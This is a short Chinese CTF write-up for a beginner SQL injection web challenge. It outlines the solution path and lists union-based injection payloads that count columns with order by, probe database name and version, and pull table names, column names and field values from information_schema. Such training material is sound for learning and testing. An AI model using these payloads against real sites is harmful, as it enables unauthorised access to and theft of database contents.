[第一章 web入门]SQL注入-1 1

一、漏洞类型利用

SQL注入

二、解题思路

更换id值 => 加入&tip=1 => 字符注入与联合查询注入

三、知识点

SQL注入

1. 根据注入位置数据类型将sql注入分类
2. 利用order判断字段数

order by x(数字） 正常与错误的正常值 正确网页正常显示，错误网页报错

?id=1' order by 3--+

3. 利用 union select 联合查询，将id值设置成不成立，即可探测到可利用的字段数

?id=-1 union select 1,2,3 --+

4. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1 union select 1,database(),version() --+

5. 利用 union select 联合查询，获取表名    

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

6. 利用 union select 联合查询，获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

7. 利用 union select 联合查询，获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

四、参考

https://www.yuque.com/samxara/swro13/nw3kgy